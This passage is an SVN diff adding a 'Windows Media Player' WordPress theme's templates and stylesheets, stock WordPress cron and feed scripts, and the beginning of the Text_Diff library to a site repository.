+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+
+<head profile="http://gmpg.org/xfn/11">
+	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+	
+	<title><?php bloginfo('name'); ?> <?php if ( is_single() ) { ?> &raquo; Blog Archive <?php } ?> <?php wp_title(); ?></title>
+	
+	<meta name="generator" content="WordPress <?php bloginfo('version'); ?>" /> <!-- leave this for stats -->
+	
+	<link rel="stylesheet" href="<?php bloginfo('stylesheet_url'); ?>" type="text/css" media="screen" />
+	<link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
+	<link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
+	
+	<link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/style.css" />
+	
+	<!--[if IE]>
+		<link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/style_ie.css" />
+	<![endif]-->
+	
+	<!--[if lt IE 7]>
+		<link rel="stylesheet" type="text/css" href="<?php bloginfo('template_directory'); ?>/style_ie6.css" />
+	<![endif]-->
+	
+<?php wp_head(); ?>
+</head>
+
+<body>
+
+<!-- Page -->
+<div id="page">
+
+	<!-- Header -->
+	<div id="header">
+	
+		<!-- Menu -->
+		<div id="header-menu">
+			<ul>
+				<?php wp_list_pages('title_li='); ?>
+			</ul>
+		</div>
+		<!-- /Menu -->
+		
+		<!-- Title -->
+		<div id="header-info">
+			<h1><a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?></a></h1>
+			<div class="description"><?php bloginfo('description'); ?></div>
+		</div>
+		<!-- /Title -->
+		
+		<!-- Topbar -->
+		<div id="topbar">
+			<div id="topbar-left">
+								
+			</div>
+			<div id="topbar-center">
+				<h3></h3>
+				<ul>
+					<?php wp_get_archives('type=postbypost&limit=3'); ?>
+				</ul>
+			</div>
+			<div id="topbar-right">
+				<h3></h3>
+				<ul>
+					<?php
+						$sql = "SELECT * FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) WHERE comment_approved = '1' AND comment_type = '' ORDER BY comment_date DESC LIMIT 0 , 3";
+						$comments = $wpdb->get_results($sql);
+						foreach ($comments as $comment) {
+							$data = $comment->comment_author . " @ " . $comment->post_title;
+							echo "<li><a href=\"" . get_permalink($comment->comment_post_ID) . "\">" . substr($data,0,40) . " ...</a></li>";   
+						}
+					?>
+				</ul>
+			</div>
+		</div>
+		<!-- /Topbar -->
+	
+	</div>
+	<!-- /Header -->
+	
+	<!-- Main -->
+	<div id="main"><div id="main-top"><div id="main-bottom">
+	
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/index.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php get_header(); ?>
+<?php get_sidebar(); ?>
+		
+		<!-- Content -->
+		<div id="content">
+		
+			<?php if (have_posts()) : ?>
+			<?php while (have_posts()) : the_post(); ?>
+			<!-- Post -->
+			<div class="post" id="post-<?php the_ID(); ?>">
+				<div class="post-title">
+					<div class="post-date">
+						<span><?php the_time('d') ?></span>
+						<?php the_time('M') ?>
+					</div>
+					<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+					Author: <?php the_author() ?> &nbsp;// &nbsp;Category: <?php the_category(', ') ?>
+				</div>
+				<div class="post-entry">
+					<?php the_content('Read more...'); ?>
+				</div>
+				<div class="post-info">
+					<?php comments_popup_link('Comments (0)', 'Comment (1)', 'Comments (%)'); ?> &nbsp;// &nbsp;<a href="<?php the_permalink() ?>#respond">Add Comment</a>
+				</div>
+			</div>
+			<!-- /Post -->
+			<?php endwhile; ?>
+			<!-- Navigation -->
+			<div class="navigation">
+				<div class="navigation-previous"><?php next_posts_link('&laquo; Previous Entries') ?></div>
+				<div class="navigation-next"><?php previous_posts_link('Next Entries &raquo;') ?></div>
+			</div>
+			<!-- /Navigation -->
+			<?php else : ?>
+			<!-- Post -->
+			<div class="post">
+				<div class="post-title">
+					<h2>Not Found</h2>
+				</div>
+				<div class="post-entry">
+					<p>Sorry, but you are looking for something that isn't here.</p>
+				</div>
+			</div>
+			<!-- /Post -->
+			<?php endif; ?>
+			
+			<div class="clear"></div>
+		
+		</div>
+		<!-- /Content -->
+		
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/page.php	(revision 44)
@@ -0,0 +1,45 @@
+<?php get_header(); ?>
+<?php get_sidebar(); ?>
+		
+		<!-- Content -->
+		<div id="content">
+		
+			<?php if (have_posts()) : ?>
+			<?php while (have_posts()) : the_post(); ?>
+			<!-- Post -->
+			<div class="post" id="post-<?php the_ID(); ?>">
+				<div class="post-title">
+					<div class="post-date">
+						<span><?php the_time('d') ?></span>
+						<?php the_time('M') ?>
+					</div>
+					<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+					Author: <?php the_author() ?>
+				</div>
+				<div class="post-entry">
+					<?php the_content('Read <span>more...</span>'); ?>
+					<?php wp_link_pages(array('before' => '<p><strong>Pages:</strong> ', 'after' => '</p>', 'next_or_number' => 'number')); ?>
+					<?php edit_post_link('Edit this entry.', '<p>', '</p>'); ?>
+				</div>
+			</div>
+			<!-- /Post -->
+			<?php endwhile; ?>
+			<?php else : ?>
+			<!-- Post -->
+			<div class="post">
+				<div class="post-title">
+					<h2>Not Found</h2>
+				</div>
+				<div class="post-entry">
+					<p>Sorry, but you are looking for something that isn't here.</p>
+				</div>
+			</div>
+			<!-- /Post -->
+			<?php endif; ?>
+			
+			<div class="clear"></div>
+		
+		</div>
+		<!-- /Content -->
+		
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/search.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php get_header(); ?>
+<?php get_sidebar(); ?>
+		
+		<!-- Content -->
+		<div id="content">
+		
+			<?php if (have_posts()) : ?>
+			<?php while (have_posts()) : the_post(); ?>
+			<!-- Post -->
+			<div class="post" id="post-<?php the_ID(); ?>">
+				<div class="post-title">
+					<div class="post-date">
+						<span><?php the_time('d') ?></span>
+						<?php the_time('M') ?>
+					</div>
+					<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+					Author: <?php the_author() ?> &nbsp;// &nbsp;Category: <?php the_category(', ') ?>
+				</div>
+				<div class="post-entry">
+					<?php the_content('Read more...'); ?>
+				</div>
+				<div class="post-info">
+					<?php comments_popup_link('Comments (0)', 'Comment (1)', 'Comments (%)'); ?> &nbsp;// &nbsp;<a href="<?php the_permalink() ?>#respond">Add Comment</a>
+				</div>
+			</div>
+			<!-- /Post -->
+			<?php endwhile; ?>
+			<!-- Navigation -->
+			<div class="navigation">
+				<div class="navigation-previous"><?php next_posts_link('&laquo; Previous Entries') ?></div>
+				<div class="navigation-next"><?php previous_posts_link('Next Entries &raquo;') ?></div>
+			</div>
+			<!-- /Navigation -->
+			<?php else : ?>
+			<!-- Post -->
+			<div class="post">
+				<div class="post-title">
+					<h2>Not Found</h2>
+				</div>
+				<div class="post-entry">
+					<p>Sorry, but you are looking for something that isn't here.</p>
+				</div>
+			</div>
+			<!-- /Post -->
+			<?php endif; ?>
+			
+			<div class="clear"></div>
+		
+		</div>
+		<!-- /Content -->
+		
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/sidebar.php	(revision 44)
@@ -0,0 +1,19 @@
+		<!-- Sidebar -->
+		<div class="sidebar">
+		
+			<h3>Pages</h3>
+			<ul>
+				<?php wp_list_pages('title_li='); ?>
+			</ul>
+			
+			<h3>Archives</h3>
+			<ul>
+				<?php wp_get_archives('type=monthly'); ?>
+			</ul>
+			
+			<?php if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar(1) ) : ?>
+			
+			<?php endif; ?>
+		
+		</div>
+		<!-- Sidebar -->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/single.php	(revision 44)
@@ -0,0 +1,47 @@
+<?php get_header(); ?>
+<?php get_sidebar(); ?>
+	
+		<!-- Content -->
+		<div id="content">
+		
+			<?php if (have_posts()) : ?>
+			<?php while (have_posts()) : the_post(); ?>
+			<!-- Post -->
+			<div class="post" id="post-<?php the_ID(); ?>">
+				<div class="post-title">
+					<div class="post-date">
+						<span><?php the_time('d') ?></span>
+						<?php the_time('M') ?>
+					</div>
+					<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+					Author: <?php the_author() ?> &nbsp;// &nbsp;Category: <?php the_category(', ') ?>
+				</div>
+				<div class="post-entry">
+					<?php the_content('Read more...'); ?>
+					<?php wp_link_pages(array('before' => '<p><strong>Pages:</strong> ', 'after' => '</p>', 'next_or_number' => 'number')); ?>
+					<?php the_tags( '<p>Tags: ', ', ', '</p>'); ?>
+					<?php edit_post_link('Edit this entry.','',''); ?>
+				</div>
+				<?php comments_template(); ?>
+			</div>
+			<!-- /Post -->
+			<?php endwhile; ?>
+			<?php else : ?>
+			<!-- Post -->
+			<div class="post">
+				<div class="post-title">
+					<h2>Not Found</h2>
+				</div>
+				<div class="post-entry">
+					<p>Sorry, but you are looking for something that isn't here.</p>
+				</div>
+			</div>
+			<!-- /Post -->
+			<?php endif; ?>
+			
+			<div class="clear"></div>
+		
+		</div>
+		<!-- /Content -->
+		
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/style.css	(revision 44)
@@ -0,0 +1,504 @@
+/*  
+Theme Name: Windows Media Player
+Theme URI: http://test.qualitywordpress.com/?preview_theme=wma
+Description: This is a software related wordpress theme that has the interface of Window's Media Player.
+Version: 1.0
+Author: qualitywordpress.com
+Author URI: http://qualitywordpress.com
+*/
+
+
+
+/* General */
+
+body {
+	margin: 0;
+	background: url("images/bg.png");
+}
+
+h1, h2, h3, h4 {
+	margin: 0;
+}
+
+img {
+	border: 0;
+}
+
+.clear {
+	clear: both;
+	height: 1px;
+	overflow: hidden;
+}
+
+
+/* Page */
+
+#page {
+	margin: 0 auto;
+	width: 1004px;
+}
+
+
+/* Header */
+
+#header {
+	width: 1004px;
+	height: 400px;
+	background: url("images/header.jpg") no-repeat;
+	position: relative;
+}
+
+	/* Header - Info */
+	
+	#header #header-info {
+		position: absolute;
+		top: 105px;
+		left: 150px;
+	}
+	
+	#header #header-info h1 {
+		color: #ffffff;
+		font: bold 30px "Verdana", Verdana;
+	}
+	
+	#header #header-info h1 a {
+		color: #ffffff;
+		text-decoration: none;
+	}
+	
+	#header #header-info .description {
+		color: #ffffff;
+		font: bold 15px "Verdana", Verdana;
+	}
+	
+	/* Header - Menu */
+	
+	#header #header-menu {
+		position: absolute;
+		top: 60px;
+		left: 26px;
+		height: 53px;
+	}
+	
+	#header #header-menu ul {
+		margin: 0;
+		padding: 0;
+		list-style-type: none;
+		height: 53px;
+	}
+	
+	#header #header-menu ul li {
+		float: right;
+		height: 53px;
+		margin-right: 8px;
+		font: bold 10px/43px "Verdana", Verdana;
+		color: #ffffff;
+		text-transform: lowercase;
+		background: url("images/header_menu_left.gif") no-repeat;
+	}
+	
+	#header #header-menu ul li a {
+		color: #ffffff;
+		text-decoration: none;
+		padding: 0 40px;
+		background: url("images/header_menu_right.gif") no-repeat right top;
+		display: block;
+	}
+	
+	#header #header-menu ul li a:hover {
+		text-decoration: underline;
+	}
+	
+	#header #header-menu ul li ul {
+		display: none;
+	}
+	
+	/* Header - Topbar */
+	
+	#header #topbar {
+		position: absolute;
+		top: 225px;
+		left: 0px;
+		width: 1004px;
+		height: 201px;
+		color: #000000;
+		font: normal 12px "Trebuchet MS", Verdana;
+	}
+	
+	#header #topbar h3 {
+		font: bold 15px "Verdana", Verdana;
+		color: #000000;
+	}
+	
+	#header #topbar ul {
+		margin: 0;
+		padding: 0;
+		list-style-type: none;
+	}
+	
+	#header #topbar ul li {
+		padding-top: 12px;
+		color: #000000;
+		font: normal 12px "Trebuchet MS", Verdana;
+	}
+	
+	#header #topbar ul li a {
+		color: #000000;
+		text-decoration: none;
+	}
+	
+	#header #topbar ul li a:hover {
+		text-decoration: underline;
+	}
+	
+		/* Header - Topbar - Boxes */
+		
+		#header #topbar #topbar-left {
+			width: 285px;
+			padding: 35px 33px;
+			float: left;
+		}
+		
+		#header #topbar #topbar-center {
+			width: 306px;
+			float: left;
+			padding: 12px 0 0 30px;
+		}
+		
+		#header #topbar #topbar-right {
+			width: 287px;
+			float: left;
+			padding: 12px 0 0 30px;
+		}
+
+
+/* Main */
+
+#main {
+	width: 1004px;
+	background: url("images/main.gif") repeat-y;
+}
+
+#main-top {
+	width: 1004px;
+	background: url("images/main_top.gif") no-repeat;
+}
+
+#main-bottom {
+	width: 992px;
+	padding-left: 12px;
+	min-height: 50px;
+	background: url("images/main_bottom.gif") no-repeat left bottom;
+}
+
+	/* Main - Content */
+	
+	#content {
+		float: left;
+		width: 570px;
+		padding: 6px 16px 0 16px;
+	}
+	
+	/* Main - Content - Post */
+	
+	#content .post {
+		color: #FFFFFF;
+		float: left;
+		margin-bottom: 16px;
+		width: 554px;
+		padding: 7px;
+		background: #191D27;
+	}
+	
+		/* Post - Title */
+		
+		#content .post .post-title {
+			width: 554px;
+			height: 51px;
+			color: #FFFFFF;
+			font: bold 12px "Trebuchet MS", Verdana;
+		}
+		
+		#content .post .post-title a {
+			color: #FFFFFF;
+			text-decoration: none;
+		}
+		
+		#content .post .post-title a:hover {
+			text-decoration: underline;
+		}
+		
+		#content .post .post-title .post-date {
+			float: left;
+			background: url("images/post_date.gif") repeat-x;
+			width: 50px;
+			height: 51px;
+			color: #0D2845;
+			text-align: center;
+			text-transform: uppercase;
+			margin-right: 10px;
+			font: bold 10px/15px "Trebuchet MS", Verdana;
+		}
+		
+		#content .post .post-title .post-date span {
+			margin-bottom: 2px;
+			display: block;
+			font: bold 16px/34px "Trebuchet MS", Verdana;
+		}
+		
+		#content .post .post-title h2 {
+			padding: 4px 0 3px 0;
+			color: #FFFFFF;
+			font: bold 19px "Verdana", Verdana;
+		}
+		
+		#content .post .post-title h2 a {
+			color: #FFFFFF;
+			text-decoration: none;
+		}
+		
+		#content .post .post-title h2 a:hover {
+			text-decoration: underline;
+		}
+		
+		/* Post - Entry */
+		
+		#content .post .post-entry {
+			font: normal 12px/18px "Trebuchet MS", Verdana;
+			color: #FFFFFF;
+			padding: 0 4px;
+			width: 546px;
+		}
+		
+		#content .post .post-entry a {
+			color: #FFFFFF;
+			text-decoration: none;
+		}
+		
+		#content .post .post-entry a:hover {
+			text-decoration: underline;
+		}
+		
+		#content .post .post-entry .more-link {
+			font: bold 12px/20px "Trebuchet MS", Verdana;
+			color: #FFFFFF;
+			float: right;
+			padding-bottom: 5px;
+		}
+		
+		#content .post .post-entry .more-link a {
+			color: #FFFFFF;
+			text-decoration: none;
+		}
+		
+		#content .post .post-entry .more-link a:hover {
+			text-decoration: underline;
+		}
+		
+		/* Post - Info */
+		
+		#content .post .post-info {
+			padding: 10px 4px 0 4px;
+			width: 546px;
+			clear: both;
+			font: bold 12px "Trebuchet MS", Verdana;
+			color: #FFFFFF;
+		}
+		
+		#content .post .post-info a {
+			color: #FFFFFF;
+			text-decoration: none;
+		}
+		
+		#content .post .post-info a:hover {
+			text-decoration: underline;
+		}
+		
+		/* Post - Comments */
+		
+		#content .post h3 {
+			color: #FFFFFF;
+			font: bold 17px "Verdana", Verdana;
+			margin: 25px 0 5px 0;
+			padding: 0 4px;
+			width: 546px;
+		}
+		
+		#content .post .comments {
+			padding: 0 4px;
+			width: 546px;
+			font: normal 12px/18px "Trebuchet MS", Verdana;
+			color: #FFFFFF;
+		}
+		
+		#content .post .comments a {
+			color: #FFFFFF;
+			text-decoration: none;
+		}
+		
+		#content .post .comments a:hover {
+			text-decoration: underline;
+		}
+		
+		#content .post .comments ol {
+			margin: 10px 0 10px 0;
+			padding-left: 25px;
+		}
+		
+		#content .post .comments ol li {
+			padding: 5px;
+		}
+		
+		#content .post .comments ol li.alt {
+			background: #000000;
+		}
+		
+		#content .post .comments ol li cite {
+			color: #FFFFFF;
+			font-style: normal;
+			font-weight: bold;
+		}
+		
+		#content .post .comments ol li cite a {
+			color: #FFFFFF;
+			text-decoration: none;
+		}
+		
+		#content .post .comments ol li cite a:hover {
+			text-decoration: underline;
+		}
+		
+		#content .post .comments ol li .commentmetadata a {
+			color: #FFFFFF;
+			text-decoration: none;
+		}
+		
+		#content .post .comments ol li .commentmetadata a:hover {
+			text-decoration: underline;
+		}
+		
+		#content .post #commentform {
+			margin: 0;
+			font: normal 12px/18px "Trebuchet MS", Verdana;
+			color: #FFFFFF;
+			padding: 0 4px;
+			width: 546px;
+		}
+		
+		#content .post #commentform a {
+			color: #FFFFFF;
+			text-decoration: none;
+		}
+		
+		#content .post #commentform a:hover {
+			text-decoration: underline;
+		}
+	
+	/* Main - Sidebar */
+	
+	.sidebar {
+		float: left;
+		width: 189px;
+		font: strong 12px/18px "Trebuchet MS", Verdana;
+		color: #ffffff;
+		padding: 7px 0;
+	}
+	
+	.sidebar a {
+		color: #8E0000;
+		text-decoration: none;
+	}
+	
+	.sidebar a:hover {
+		text-decoration: underline;
+	}
+	
+		/* Sidebar - Titles */
+		
+		.sidebar h3 {
+			padding-left: 18px;
+			font: bold 15px/34px "Verdana", Verdana;
+			text-transform: lowercase;
+			color: #ffffff;
+			height: 46px;
+			width: 189px;
+			background: url("images/sidebar_title.gif") no-repeat;
+		}
+		
+		/* Sidebar - Menus */
+		
+		.sidebar ul {
+			margin: 0 0 20px 18px;
+			padding: 0;
+			list-style-type: none;
+		}
+		
+		.sidebar ul li {
+			color: #ffffff;
+			font: normal 12px/26px "Trebuchet MS", Verdana;
+		}
+		
+		.sidebar ul li a {
+			color: #ffffff;
+			text-decoration: none;
+		}
+		
+		.sidebar ul li a:hover {
+			text-decoration: underline;
+		}
+		
+		/* Sidebar - Forms */
+		
+		.sidebar #searchform {
+			margin: 0 auto;
+			padding: 15px 0 25px 0;
+			width: 145px;
+			text-align: center;
+		}
+		
+		.sidebar #searchform #s {
+			width: 145px;
+		}
+		
+		/* Sidebar - Tables */
+		
+		.sidebar #calendar_wrap {
+			margin: 5px auto 20px auto;
+			width: 120px;
+		}
+		
+		.sidebar #calendar_wrap caption {
+			font-weight: bold;
+		}
+		
+		.sidebar #calendar_wrap #today {
+			font-weight: bold;
+		}
+		
+		/* Sidebar - Texts */
+		
+		.sidebar .textwidget {
+			padding: 0 10px 20px 10px;
+		}
+
+
+/* Footer */
+
+#footer {
+	margin-top: 15px;
+	width: 1004px;
+	height: 62px;
+	background: url("images/footer.gif") repeat-x;
+	color: #FFFFFF;
+	font: normal 10px/15px "Trebuchet MS", Verdana;
+	text-align: center;
+}
+
+#footer a {
+	color: #CCCCCC;
+	text-decoration: none;
+}
+
+#footer a:hover {
+	text-decoration: underline;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/style_ie.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/style_ie.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/style_ie.css	(revision 44)
@@ -0,0 +1,4 @@
+
+#content .post .post-entry {
+	margin-top: 10px;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/wma/style_ie6.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/wma/style_ie6.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/wma/style_ie6.css	(revision 44)
@@ -0,0 +1,10 @@
+
+#content {
+	padding: 0;
+	margin: 6px 0 0 -1px;
+}
+
+.sidebar-right {
+	float: right;
+	margin-right: -6px;
+}
Index: /trunk/www.guidonia.net/wp/wp-cron.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-cron.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-cron.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * WordPress Cron Implementation for hosts, which do not offer CRON or for which
+ * the user has not setup a CRON job pointing to this file.
+ *
+ * The HTTP request to this file will not slow down the visitor who happens to
+ * visit when the cron job is needed to run.
+ *
+ * @package WordPress
+ */
+
+ignore_user_abort(true);
+
+if ( !empty($_POST) || defined('DOING_AJAX') || defined('DOING_CRON') )
+	die();
+
+/**
+ * Tell WordPress we are doing the CRON task.
+ *
+ * @var bool
+ */
+define('DOING_CRON', true);
+
+if ( !defined('ABSPATH') ) {
+	/** Setup WordPress environment */
+	require_once('./wp-load.php');
+}
+
+if ( false === $crons = _get_cron_array() )
+	die();
+
+$keys = array_keys( $crons );
+$local_time = time();
+
+if ( isset($keys[0]) && $keys[0] > $local_time )
+	die();
+
+foreach ($crons as $timestamp  => $cronhooks) {
+	if ( $timestamp > $local_time )
+		break;
+
+	foreach ($cronhooks as $hook => $keys) {
+
+		foreach ($keys as $k => $v) {
+
+			$schedule = $v['schedule'];
+
+			if ($schedule != false) {
+				$new_args = array($timestamp, $schedule, $hook, $v['args']);
+				call_user_func_array('wp_reschedule_event', $new_args);
+			}
+
+			wp_unschedule_event($timestamp, $hook, $v['args']);
+
+ 			do_action_ref_array($hook, $v['args']);
+		}
+	}
+}
+
+die();
Index: /trunk/www.guidonia.net/wp/wp-feed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-feed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-feed.php	(revision 44)
@@ -0,0 +1,12 @@
+<?php
+/**
+ * Redirects to the RSS2 feed
+ * This file is deprecated and only exists for backwards compatibility
+ *
+ * @package WordPress
+ */
+
+require( './wp-load.php' );
+wp_redirect( get_bloginfo( 'rss2_url' ), 301 );
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/Text/Diff.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/Text/Diff.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/Text/Diff.php	(revision 44)
@@ -0,0 +1,414 @@
+<?php
+/**
+ * General API for generating and formatting diffs - the differences between
+ * two sequences of strings.
+ *
+ * The original PHP version of this code was written by Geoffrey T. Dairiki
+ * <dairiki@dairiki.org>, and is used/adapted with his permission.
+ *
+ * $Horde: framework/Text_Diff/Diff.php,v 1.26 2008/01/04 10:07:49 jan Exp $
+ *
+ * Copyright 2004 Geoffrey T. Dairiki <dairiki@dairiki.org>
+ * Copyright 2004-2008 The Horde Project (http://www.horde.org/)
+ *
+ * See the enclosed file COPYING for license information (LGPL). If you did
+ * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
+ *
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ */
+class Text_Diff {
+
+    /**
+     * Array of changes.
+     *
+     * @var array
+     */
+    var $_edits;
+
+    /**
+     * Computes diffs between sequences of strings.
+     *
+     * @param string $engine     Name of the diffing engine to use.  'auto'
+     *                           will automatically select the best.
+     * @param array $params      Parameters to pass to the diffing engine.
+     *                           Normally an array of two arrays, each
+     *                           containing the lines from a file.
+     */
+    function Text_Diff($engine, $params)
+    {
+        // Backward compatibility workaround.
+        if (!is_string($engine)) {
+            $params = array($engine, $params);
+            $engine = 'auto';
+        }
+
+        if ($engine == 'auto') {
+            $engine = extension_loaded('xdiff') ? 'xdiff' : 'native';
+        } else {
+            $engine = basename($engine);
+        }
+
+        // WP #7391
+        require_once dirname(__FILE__).'/Diff/Engine/' . $engine . '.php';
+        $class = 'Text_Diff_Engine_' . $engine;
+        $diff_engine = new $class();
+
+        $this->_edits = call_user_func_array(array($diff_engine, 'diff'), $params);
+    }
+
+    /**
+     * Returns the array of differences.
+     */
+    function getDiff()
+    {
+        return $this->_edits;
+    }
+
+    /**
+     * Computes a reversed diff.
+     *
+     * Example:
+     * <code>
+     * $diff = new Text_Diff($lines1, $lines2);
+     * $rev = $diff->reverse();
+     * </code>
+     *
+     * @return Text_Diff  A Diff object representing the inverse of the
+     *                    original diff.  Note that we purposely don't return a
+     *                    reference here, since this essentially is a clone()
+     *                    method.
+     */
+    function reverse()
+    {
+        if (version_compare(zend_version(), '2', '>')) {
+            $rev = clone($this);
+        } else {
+            $rev = $this;
+        }
+        $rev->_edits = array();
+        foreach ($this->_edits as $edit) {
+            $rev->_edits[] = $edit->reverse();
+        }
+        return $rev;
+    }
+
+    /**
+     * Checks for an empty diff.
+     *
+     * @return boolean  True if two sequences were identical.
+     */
+    function isEmpty()
+    {
+        foreach ($this->_edits as $edit) {
+            if (!is_a($edit, 'Text_Diff_Op_copy')) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /**
+     * Computes the length of the Longest Common Subsequence (LCS).
+     *
+     * This is mostly for diagnostic purposes.
+     *
+     * @return integer  The length of the LCS.
+     */
+    function lcs()
+    {
+        $lcs = 0;
+        foreach ($this->_edits as $edit) {
+            if (is_a($edit, 'Text_Diff_Op_copy')) {
+                $lcs += count($edit->orig);
+            }
+        }
+        return $lcs;
+    }
+
+    /**
+     * Gets the original set of lines.
+     *
+     * This reconstructs the $from_lines parameter passed to the constructor.
+     *
+     * @return array  The original sequence of strings.
+     */
+    function getOriginal()
+    {
+        $lines = array();
+        foreach ($this->_edits as $edit) {
+            if ($edit->orig) {
+                array_splice($lines, count($lines), 0, $edit->orig);
+            }
+        }
+        return $lines;
+    }
+
+    /**
+     * Gets the final set of lines.
+     *
+     * This reconstructs the $to_lines parameter passed to the constructor.
+     *
+     * @return array  The sequence of strings.
+     */
+    function getFinal()
+    {
+        $lines = array();
+        foreach ($this->_edits as $edit) {
+            if ($edit->final) {
+                array_splice($lines, count($lines), 0, $edit->final);
+            }
+        }
+        return $lines;
+    }
+
+    /**
+     * Removes trailing newlines from a line of text. This is meant to be used
+     * with array_walk().
+     *
+     * @param string $line  The line to trim.
+     * @param integer $key  The index of the line in the array. Not used.
+     */
+    function trimNewlines(&$line, $key)
+    {
+        $line = str_replace(array("\n", "\r"), '', $line);
+    }
+
+    /**
+     * Determines the location of the system temporary directory.
+     *
+     * @static
+     *
+     * @access protected
+     *
+     * @return string  A directory name which can be used for temp files.
+     *                 Returns false if one could not be found.
+     */
+    function _getTempDir()
+    {
+        $tmp_locations = array('/tmp', '/var/tmp', 'c:\WUTemp', 'c:\temp',
+                               'c:\windows\temp', 'c:\winnt\temp');
+
+        /* Try PHP's upload_tmp_dir directive. */
+        $tmp = ini_get('upload_tmp_dir');
+
+        /* Otherwise, try to determine the TMPDIR environment variable. */
+        if (!strlen($tmp)) {
+            $tmp = getenv('TMPDIR');
+        }
+
+        /* If we still cannot determine a value, then cycle through a list of
+         * preset possibilities. */
+        while (!strlen($tmp) && count($tmp_locations)) {
+            $tmp_check = array_shift($tmp_locations);
+            if (@is_dir($tmp_check)) {
+                $tmp = $tmp_check;
+            }
+        }
+
+        /* If it is still empty, we have failed, so return false; otherwise
+         * return the directory determined. */
+        return strlen($tmp) ? $tmp : false;
+    }
+
+    /**
+     * Checks a diff for validity.
+     *
+     * This is here only for debugging purposes.
+     */
+    function _check($from_lines, $to_lines)
+    {
+        if (serialize($from_lines) != serialize($this->getOriginal())) {
+            trigger_error("Reconstructed original doesn't match", E_USER_ERROR);
+        }
+        if (serialize($to_lines) != serialize($this->getFinal())) {
+            trigger_error("Reconstructed final doesn't match", E_USER_ERROR);
+        }
+
+        $rev = $this->reverse();
+        if (serialize($to_lines) != serialize($rev->getOriginal())) {
+            trigger_error("Reversed original doesn't match", E_USER_ERROR);
+        }
+        if (serialize($from_lines) != serialize($rev->getFinal())) {
+            trigger_error("Reversed final doesn't match", E_USER_ERROR);
+        }
+
+        $prevtype = null;
+        foreach ($this->_edits as $edit) {
+            if ($prevtype == get_class($edit)) {
+                trigger_error("Edit sequence is non-optimal", E_USER_ERROR);
+            }
+            $prevtype = get_class($edit);
+        }
+
+        return true;
+    }
+
+}
+
+/**
+ * @package Text_Diff
+ * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
+ */
+class Text_MappedDiff extends Text_Diff {
+
+    /**
+     * Computes a diff between sequences of strings.
+     *
+     * This can be used to compute things like case-insensitve diffs, or diffs
+     * which ignore changes in white-space.
+     *
+     * @param array $from_lines         An array of strings.
+     * @param array $to_lines           An array of strings.
+     * @param array $mapped_from_lines  This array should have the same size
+     *                                  number of elements as $from_lines.  The
+     *                                  elements in $mapped_from_lines and
+     *                                  $mapped_to_lines are what is actually
+     *                                  compared when computing the diff.
+     * @param array $mapped_to_lines    This array should have the same number
+     *                                  of elements as $to_lines.
+     */
